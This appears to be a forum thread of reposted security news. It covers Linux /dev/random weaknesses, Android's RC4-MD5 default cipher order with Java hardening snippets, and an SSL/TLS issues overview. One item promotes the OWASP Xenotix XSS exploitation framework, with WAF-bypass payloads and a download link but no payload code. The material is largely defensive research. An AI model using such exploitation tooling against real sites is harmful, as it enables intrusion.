numbers being generated and how the PRNG could be manipulated in order for a third party to be able to guess or view a key. This is exactly the issue that forced RSA Security’s hand with regard to the Dual EC DRBG algorithm. RSA recommended to developers to stop using the RNG for fear that it might be compromised in some way by an intelligence agency. RSA’s recommendation came on the heels of a similar missive from NIST; Dual EC DRBG is the default random number generator for a number of RSA products including the BSAFE crypto libraries and RSA key management product RSA Data Protection Manager. While there are no immediate fears the Linux PRNG in dev/random is compromised, the researchers do painstakingly look at the behavior of the entropy estimator and the mixing function used to refresh its internal state, the paper said. “We have shown vulnerabilities on the entropy estimator due to its use when data is transferred between pools in Linux PRNG,” the paper said; the researchers, as a result, recommend that the functions of a PRNG do not rely on such an estimator. Sursa: /Dev/Random PRNG in Linux Questioned | Threatpost
-
OWASP Xenotix XSS Exploit Framework V4.5 OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. It provides Zero False Positive scan results with its unique Triple Browser Engine (Trident, WebKit, and Gecko) embedded scanner. It is claimed to have the world’s 2nd largest XSS Payloads of about 1500+ distinctive XSS Payloads for effective XSS vulnerability detection and WAF Bypass. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes highly offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. V4.5 Additions ========== JavaScript Beautifier Pause and Resume support for Scan Jump to Payload Cookie Support for POST Request Cookie Support and Custom Headers for Header Scanner Added TRACE method Support Improved Interface Better Proxy Support WAF Fingerprinting Load Files <exploitation module> Hash Calculator Hash Detector Download: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework#tab=Downloads Regards, Ajin Abraham Information Security Enthusiast. AJIN ABRAHAM | Defcon Kerala OpenSecurity | +91-9633325997 Sursa: WebApp Sec: OWASP Xenotix XSS Exploit Framework 4.5 is Relesed
-
Insecurities in the Linux /dev/random New paper: "Security Analysis of Pseudo-Random Number Generators with Input: /dev/random is not Robust, by Yevgeniy Dodis, David Pointcheval, Sylvain Ruhault, Damien Vergnaud, and Daniel Wichs. Abstract: A pseudo-random number generator (PRNG) is a deterministic algorithm that produces numbers whose distribution is indistinguishable from uniform. A formal security model for PRNGs with input was proposed in 2005 by Barak and Halevi (BH). This model involves an internal state that is refreshed with a (potentially biased) external random source, and a cryptographic function that outputs random numbers from the continually internal state. In this work we extend the BH model to also include a new security property capturing how it should accumulate the entropy of the input data into the internal state after state compromise. This property states that a good PRNG should be able to eventually recover from compromise even if the entropy is injected into the system at a very slow pace, and expresses the real-life expected behavior of existing PRNG designs. Unfortunately, we show that neither the model nor the specific PRNG construction proposed by Barak and Halevi meet this new property, despite meeting a weaker robustness notion introduced by BH. From a practical side, we also give a precise assessment of the security of the two Linux PRNGs, /dev/random and /dev/urandom. In particular, we show several attacks proving that these PRNGs are not robust according to our definition, and do not accumulate entropy properly. These attacks are due to the vulnerabilities of the entropy estimator and the internal mixing function of the Linux PRNGs. These attacks against the Linux PRNG show that it does not satisfy the "robustness" notion of security, but it remains unclear if these attacks lead to actual exploitable vulnerabilities in practice. Finally, we propose a simple and very efficient PRNG construction that is provably robust in our new and stronger adversarial model. We present benchmarks between this construction and the Linux PRNG that show that this construction is on average more efficient when recovering from a compromised internal state and when generating cryptographic keys. We therefore recommend to use this construction whenever a PRNG with input is used for cryptography. Sursa: https://www.schneier.com/blog/archives/2013/10/insecurities_in.html
-
Why Android SSL was downgraded from AES256-SHA to RC4-MD5 in late 2010 tl;dr Android is using the combination of horribly broken RC4 and MD5 as the first default cipher on all SSL connections. This impacts all apps that did not care enough to change the list of enabled ciphers (i.e. almost all existing apps). This post investigates why RC4-MD5 is the default cipher, and why it replaced better ciphers which were in use prior to the Android 2.3 release in December 2010. Preface Some time ago, I was adding secure authentication to my APRSdroid app for Amateur Radio geolocation. While debugging its TLS handshake, I noticed that RC4-MD5 is leading the client's list of supported ciphers and thus wins the negotiation. As the task at hand was about authentication, not about secrecy, I did not care. However, following speculations about what the NSA can decrypt, xnyhps' excellent post about XMPP clients (make sure to read the whole series) brought it into my focus again and I seriously asked myself what reasons led to it. Status Quo Analysis First, I fired up Wireshark, started yaxim on my Android 4.2.2 phone (CyanogenMod 10.1.3 on a Galaxy Nexus) and checked the Client Hello packet sent. Indeed, RC4-MD5 was first, followed by RC4-SHA1: To quote from RFC 2246: "The CipherSuite list, passed from the client to the server in the client hello message, contains the combinations of cryptographic algorithms supported by the client in order of the client's preference (favorite choice first)." Thus, the server is encouraged to actually use RC4-MD5 if it is not explicitly forbidden by its configuration. I crammed out my legacy devices and cross-checked Android 2.2.1 (CyanogenMod 6.1.0 on HTC Dream), 2.3.4 (Samsung original ROM on Galaxy SII) and 2.3.7 (CyanogenMod 7 on a Galaxy 5): [TABLE] [TR] [TH]Android 2.2.1[/TH] [TH]Android 2.3.4, 2.3.7[/TH] [TH]Android 4.2.2, 4.3[/TH] [/TR] [TR] [TD]DHE-RSA-AES256-SHA[/TD] [TD]RC4-MD5[/TD] [TD]RC4-MD5[/TD] [/TR] [TR] [TD]DHE-DSS-AES256-SHA[/TD] [TD]RC4-SHA[/TD] [TD]RC4-SHA[/TD] [/TR] [TR] [TD]AES256-SHA[/TD] [TD]AES128-SHA[/TD] [TD]AES128-SHA[/TD] [/TR] [TR] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [TD]DHE-RSA-AES128-SHA[/TD] [TD]AES256-SHA[/TD] [/TR] [TR] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [TD]DHE-DSS-AES128-SHA[/TD] [TD]ECDH-ECDSA-RC4-SHA[/TD] [/TR] [TR] [TD]DES-CBC3-SHA[/TD] [TD]DES-CBC3-SHA[/TD] [TD]ECDH-ECDSA-AES128-SHA[/TD] [/TR] [TR] [TD]DES-CBC3-MD5[/TD] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [TD]ECDH-ECDSA-AES256-SHA[/TD] [/TR] [TR] [TD]DHE-RSA-AES128-SHA[/TD] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [TD]ECDH-RSA-RC4-SHA[/TD] [/TR] [TR] [TD]DHE-DSS-AES128-SHA[/TD] [TD]DES-CBC-SHA[/TD] [TD]ECDH-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]AES128-SHA[/TD] [TD]EDH-RSA-DES-CBC-SHA[/TD] [TD]ECDH-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]RC2-CBC-MD5[/TD] [TD]EDH-DSS-DES-CBC-SHA[/TD] [TD]ECDHE-ECDSA-RC4-SHA[/TD] [/TR] [TR] [TD]RC4-SHA[/TD] [TD]EXP-RC4-MD5[/TD] [TD]ECDHE-ECDSA-AES128-SHA[/TD] [/TR] [TR] [TD]RC4-MD5[/TD] [TD]EXP-DES-CBC-SHA[/TD] [TD]ECDHE-ECDSA-AES256-SHA[/TD] [/TR] [TR] [TD]RC4-MD5[/TD] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [TD]ECDHE-RSA-RC4-SHA[/TD] [/TR] [TR] [TD]EDH-RSA-DES-CBC-SHA[/TD] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [TD]ECDHE-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]EDH-DSS-DES-CBC-SHA[/TD] [TD][/TD] [TD]ECDHE-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-RSA-AES128-SHA[/TD] [/TR] [TR] [TD]DES-CBC-MD5[/TD] [TD][/TD] [TD]DHE-RSA-AES256-SHA[/TD] [/TR] [TR] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-DSS-AES128-SHA[/TD] [/TR] [TR] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [TD][/TD] [TD]DHE-DSS-AES256-SHA[/TD] [/TR] [TR] [TD]EXP-DES-CBC-SHA[/TD] [TD][/TD] [TD]DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC2-CBC-MD5[/TD] [TD][/TD] [TD]ECDH-ECDSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC2-CBC-MD5[/TD] [TD][/TD] [TD]ECDH-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC4-MD5[/TD] [TD][/TD] [TD]ECDHE-ECDSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD]EXP-RC4-MD5[/TD] [TD][/TD] [TD]ECDHE-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-RSA-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-DSS-DES-CBC3-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-RSA-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EDH-DSS-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-RC4-MD5[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-EDH-RSA-DES-CBC-SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]EXP-EDH-DSS-DES-CBC-SHA[/TD] [/TR] [/TABLE] As can be seen, Android 2.2.1 came with a set of AES256-SHA1 ciphers first, followed by 3DES and AES128. Android 2.3 significantly reduced the security by removing AES256 and putting the broken RC4-MD5 on the prominent first place, followed by the not-so-much-better RC4-SHA1. Wait... What? Yes, Android versions before 2.3 were using AES256 > 3DES > AES128 > RC4, and starting with 2.3 it was now: RC4 > AES128 > 3DES. Also, the recently broken MD5 suddenly became the favorite MAC (Update: MD5 in TLS is OK, as it is combining two different variants). As Android 2.3 was released in late 2010, speculations about the NSA pouring money on Android developers to sabotage all of us poor users arose immediately. I needed to do something, so I wrote a minimal test program (APK, source) and single-stepped it to find the origin of the default cipher list. It turned out to be in Android's libcore package, NativeCrypto.getDefaultCipherSuites() which returns a hardcoded String array starting with "SSL_RSA_WITH_RC4_128_MD5". Diving Into the Android Source Going back on that file's change history revealed interesting things, like the addition of TLS v1.1 and v1.2 and its almost immediate removal with a suspicious commit message (taking place between Android 4.0 and 4.1, possible reasoning), added support for Elliptic Curves and AES256 in Android 3.x, and finally the addition of our hardcoded string list sometime before Android 2.3: public static String[] getDefaultCipherSuites() {- int ssl_ctx = SSL_CTX_new(); - String[] supportedCiphers = SSL_CTX_get_ciphers(ssl_ctx); - SSL_CTX_free(ssl_ctx); - return supportedCiphers; + return new String[] { + "SSL_RSA_WITH_RC4_128_MD5", + "SSL_RSA_WITH_RC4_128_SHA", + "TLS_RSA_WITH_AES_128_CBC_SHA", ... + "SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA", + "SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA" + }; } The commit message tells us: We now have a default cipher suite list that is chose to match RI behavior and priority, not based on OpenSSLs default and priorities. Translated into English: before, we just used the list from OpenSSL (which was really good), now we make our own list... with blackjack! ...and hookers! with RC4! ...and MD5! The test suite comes with another hint: // Note these are added in priority order as defined by RI 6 documentation. That RI 6 for sure has nothing to do with MI 6, but stands for Reference Implementation, the Sun (now Oracle) Java SDK version 6. So what the fine Google engineers did to reduce our security was merely to copy what was there, defined by the inventors of Java! Cipher Order in the Java Runtime In the Java reference implementation, the code responsible for creating the cipher list is split into two files. First, a priority-ordered set of ciphers is constructed in the CipherSuite class: // Definition of the CipherSuites that are enabled by default. // They are listed in preference order, most preferred first. int p = DEFAULT_SUITES_PRIORITY * 2; add("SSL_RSA_WITH_RC4_128_MD5", 0x0004, --p, K_RSA, B_RC4_128, N); add("SSL_RSA_WITH_RC4_128_SHA", 0x0005, --p, K_RSA, B_RC4_128, N); ... Then, all enabled ciphers with sufficient priority are added to the list for CipherSuiteList.getDefault(). The cipher list has not experienced relevant changes since the initial import of Java 6 into Hg, when the OpenJDK was brought to life. Going back in time reveals that even in the 1.4.0 JDK, the first one incorporating the JSEE extension for SSL/TLS, the list was more or less the same: [TABLE] [TR] [TH]Java 1.4.0 (2002)[/TH] [TH]Java 1.4.2_19, 1.5.0 (2004)[/TH] [TH]Java 1.6 (2006)[/TH] [/TR] [TR] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_RC4_128_MD5[/TD] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [TD]SSL_RSA_WITH_RC4_128_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [TD]TLS_RSA_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_RSA_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]TLS_DHE_RSA_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_DHE_RSA_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [TD]TLS_DHE_DSS_WITH_AES_128_CBC_SHA[/TD] [TD]TLS_DHE_DSS_WITH_AES_128_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_NULL_MD5[/TD] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [TD]SSL_RSA_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_RSA_WITH_NULL_SHA[/TD] [TD]SSL_DHE_RSA_WITH_DES_CBC_SHA[/TD] [TD]SSL_DHE_RSA_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_RC4_128_MD5[/TD] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [TD]SSL_DHE_DSS_WITH_DES_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_DES_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_RSA_EXPORT_WITH_RC4_40_MD5[/TD] [/TR] [TR] [TD]SSL_DH_anon_WITH_3DES_EDE_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_EXPORT_WITH_RC4_40_MD5[/TD] [TD]SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD]SSL_DH_anon_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [TD]SSL_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA[/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD]TLS_EMPTY_RENEGOTIATION_INFO_SCSV[/TD] [/TR] [/TABLE] The original list resembles the CipherSpec definition in RFC 2246 from 1999, sorted numerically with the NULL and 40-bit ciphers moved down. Somewhere between the first release and 1.4.2, DES was deprecated, TLS was added to the mix (bringing in AES) and MD5 was pushed in front of SHA1 (which makes one wonder why). After that, the only chage was the addition of TLS_EMPTY_RENEGOTIATION_INFO_SCSV, which is not a cipher but just an information token for the server. Java 7 added Elliptic Curves and significantly improved the cipher list in 2011, but Android is based on JDK 6, making the effective default cipher list over 10 years old now. Conclusion The cipher order on the vast majority of Android devices was defined by Sun in 2002 and taken over into the Android project in 2010 as an attempt to improve compatibility. RC4 is considered problematic since 2001 (remember WEP?), MD5 was broken in 2009. The change from the strong OpenSSL cipher list to a hardcoded one starting with weak ciphers is either a sign of horrible ignorance, security incompetence or a clever disguise for an NSA-influenced manipulation - you decide! (This was before BEAST made the other ciphers in TLS less secure in 2011 and RC4 gained momentum again) All that notwithstanding, now is the time to get rid of RC4-MD5, in your applications as well as in the Android core! Call your representative on the Google board and let them know! Appendix A: Making your app more secure If your app is only ever making contact to your own server, feel free to choose the best cipher that fits into your CPU budget! Otherwise, it is hard to give generic advice for an app to support a wide variety of different servers without producing obscure connection errors. Update: Server-Side Changes The cipher priority order is defined by the client, but the server has the option to override it with its own. Server operators should read the excellent best practices document by SSLLabs. Further resources for server admins: Mozilla OpSec guide Apache config helper for Debian/Wheezy Changing the client cipher list For client developers, I am recycling the well-motivated browser cipher suite proposal written by Brian Smith at Mozilla, even though I share Bruce Schneier's scepticism on EC cryptography. The following is a subset of Brian's ciphers which are supported on Android 4.2.2, and the last three ciphers are named SSL_ instead of TLS_ (Warning: BEAST ahead!). // put this in a place where it can be reusedstatic final String ENABLED_CIPHERS[] = { "TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA", "TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA", "TLS_DHE_RSA_WITH_AES_128_CBC_SHA", "TLS_DHE_RSA_WITH_AES_256_CBC_SHA", "TLS_DHE_DSS_WITH_AES_128_CBC_SHA", "TLS_ECDHE_RSA_WITH_RC4_128_SHA", "TLS_ECDHE_ECDSA_WITH_RC4_128_SHA", "TLS_RSA_WITH_AES_128_CBC_SHA", "TLS_RSA_WITH_AES_256_CBC_SHA", "SSL_RSA_WITH_3DES_EDE_CBC_SHA", "SSL_RSA_WITH_RC4_128_SHA", "SSL_RSA_WITH_RC4_128_MD5", }; // get a new socket from the factory SSLSocket s = (SSLSocket)sslcontext.getSocketFactory().createSocket(host, port); // IMPORTANT: set the cipher list before calling getSession(), // startHandshake() or reading/writing on the socket! s.setEnabledCipherSuites(ENABLED_CIPHERS); ... Use TLS v1.2! By default, TLS version 1.0 is used, and the more recent protocol versions are disabled. Some servers used to be broken when contacted using v1.2, so this approach seemed a good conservative choice over a year ago. At least for XMPP, an attempt to enforce TLS v1.2 is being made. You can follow with your own app easily: // put this in a place where it can be reusedstatic final String ENABLED_PROTOCOLS[] = { "TLSv1.2", "TLSv1.1", "TLSv1" }; // put this right before setEnabledCipherSuites()! s.setEnabledProtocols(ENABLED_PROTOCOLS); Use NetCipher! NetCipher is an Android library made by the Guardian Project to improve network security for mobile apps. It comes with a StrongTrustManager to do more thorough certificate checks, an independent Root CA store, and code to easily route your traffic through the Tor network using Orbot. Use AndroidPinning! AndroidPinning is another Android library, written by Moxie Marlinspike to allow pinning of server certificates, improving security against government-scale MitM attacks. Use this if your app is made to communicate with a specific server! Use MemorizingTrustManager! MemorizingTrustManager by yours truly is yet another Android library. It allows your app to ask the user if they want to trust a given self-signed/untrusted certificate, improving support for regular connections to private services. If you are writing an XMPP client or a private cloud sync app, use this! Appendix B: Apps that do care Android Browser Checks of the default Android Browser revealed that at least until Android 2.3.7 the Browser was using the default cipher list of the OS, participating in the RC4 regression. As of 4.2.2, the Browser comes with a longer, better, stronger cipher list: ECDHE-RSA-AES256-SHA ECDHE-ECDSA-AES256-SHA SRP-DSS-AES-256-CBC-SHA SRP-RSA-AES-256-CBC-SHA DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA ECDH-RSA-AES256-SHA ECDH-ECDSA-AES256-SHA AES256-SHA ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-CBC3-SHA SRP-DSS-3DES-EDE-CBC-SHA SRP-RSA-3DES-EDE-CBC-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA ECDH-RSA-DES-CBC3-SHA ECDH-ECDSA-DES-CBC3-SHA DES-CBC3-SHA ECDHE-RSA-AES128-SHA ECDHE-ECDSA-AES128-SHA SRP-DSS-AES-128-CBC-SHA SRP-RSA-AES-128-CBC-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA ECDH-RSA-AES128-SHA ECDH-ECDSA-AES128-SHA AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-ECDSA-RC4-SHA ECDH-RSA-RC4-SHA ECDH-ECDSA-RC4-SHA RC4-SHA RC4-MD5 Update: Surprisingly, the Android WebView class (tested on Android 4.0.4) is also using the better ciphers. Update: Google Chrome The Google Chrome browser (version 30.0.1599.82, 2013-10-11) serves the following list: ECDHE-RSA-AES256-GCM-SHA384 ECDHE-ECDSA-AES256-GCM-SHA384 ECDHE-RSA-AES256-SHA ECDHE-ECDSA-AES256-SHA DHE-DSS-AES256-GCM-SHA384 DHE-RSA-AES256-GCM-SHA384 DHE-RSA-AES256-SHA256 DHE-DSS-AES256-SHA256 DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA AES256-GCM-SHA384 AES256-SHA256 AES256-SHA ECDHE-RSA-DES-CBC3-SHA ECDHE-ECDSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA DES-CBC3-SHA ECDHE-RSA-AES128-GCM-SHA256 ECDHE-ECDSA-AES128-GCM-SHA256 ECDHE-RSA-AES128-SHA256 ECDHE-ECDSA-AES128-SHA256 ECDHE-RSA-AES128-SHA ECDHE-ECDSA-AES128-SHA DHE-DSS-AES128-GCM-SHA256 DHE-RSA-AES128-GCM-SHA256 DHE-RSA-AES128-SHA256 DHE-DSS-AES128-SHA256 DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA AES128-GCM-SHA256 AES128-SHA256 AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-ECDSA-RC4-SHA RC4-SHA RC4-MD5 This one comes with AES256-GCM and SHA384! Good work, Google! Now please go and make these the default for the Android runtime! Update: Firefox Firefox Browser for Android (version 24.0 from F-Droid) comes with its own cipher suite as well. However, contrary to Chrome, it is missing the GCM ciphers to mitigate the BEAST attack. ECDHE-ECDSA-AES256-SHA ECDHE-RSA-AES256-SHA DHE-RSA-CAMELLIA256-SHA DHE-DSS-CAMELLIA256-SHA DHE-RSA-AES256-SHA DHE-DSS-AES256-SHA ECDH-RSA-AES256-SHA ECDH-ECDSA-AES256-SHA CAMELLIA256-SHA AES256-SHA ECDHE-ECDSA-RC4-SHA ECDHE-ECDSA-AES128-SHA ECDHE-RSA-RC4-SHA ECDHE-RSA-AES128-SHA DHE-RSA-CAMELLIA128-SHA DHE-DSS-CAMELLIA128-SHA DHE-RSA-AES128-SHA DHE-DSS-AES128-SHA ECDH-RSA-RC4-SHA ECDH-RSA-AES128-SHA ECDH-ECDSA-RC4-SHA ECDH-ECDSA-AES128-SHA SEED-SHA CAMELLIA128-SHA RC4-SHA RC4-MD5 AES128-SHA ECDHE-ECDSA-DES-CBC3-SHA ECDHE-RSA-DES-CBC3-SHA EDH-RSA-DES-CBC3-SHA EDH-DSS-DES-CBC3-SHA ECDH-RSA-DES-CBC3-SHA ECDH-ECDSA-DES-CBC3-SHA FIPS-3DES-EDE-CBC-SHA DES-CBC3-SHA My favorite pick from that list: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA. Enabling TLSv1.2 does not change the cipher list. BEAST is mitigated in TLSv1.2, but the Lucky13 attack might still bite you. Send In Your App! If you have an Android app with a significant user base that has a better cipher list, let me know and I will add it to the list. Further Reading Real World Crypto 2013 by Adam Langley from Google Why does the web still run on RC4? by Luke Mather SSL/TLS in a Post-PRISM Era CyanogenMod issue Android issue #61085 Test your browser Comments: HN, Slashdot, Reddit Sursa: Why Android SSL was downgraded from AES256-SHA to RC4-MD5 in late 2010
-
SSL/TLS IN A POST-PRISM ERA This is a collection of information related to the security of Secure Socket Layer (SSL) and Transport Layer Security (TLS). The aim of this page is to keep track of the current limitations and security problems in SSL/TLS and HTTPS. The biggest unsolved problem is the trust model of the Certification Authorities.All of these problems have been known for some time. These problems are mainly discussed and talked about at special security conferences to an audience that only contains security experts. These issues are rarely discussed with the general public or developers who use SSL/TLS in their projects. We aim to raise awareness of these problems outside of the security community. Contents Introduction What is SSL/TLS and CA The biggest problem with SSL/TLS ROOT-CA Security Breaches Dutch CA DigiNotar Etisalat NSA's PRISM project Other Incidents [*]Attacks Self Signed Certificates SSL Strip [*]Other Problems Weak Certificate Keys Disconnected Security Community [*]Solutions Online Certificate Status Protocol CA Regulation HTTP Strict Transport Security EFF HTTPS Everywhere Certificate Pinning Double Signed Certificates Reverse Fingerprint SSL Sovereign Keys RFC 6962 Certificate Transparency SSL Convergence DNS-SEC DANE [*]Summary of best known immediate solution BCP or RFC for HTTPS For Certificate Verification in General for applications in general [*]Further Reading Sursa: https://wiki.thc.org/ssl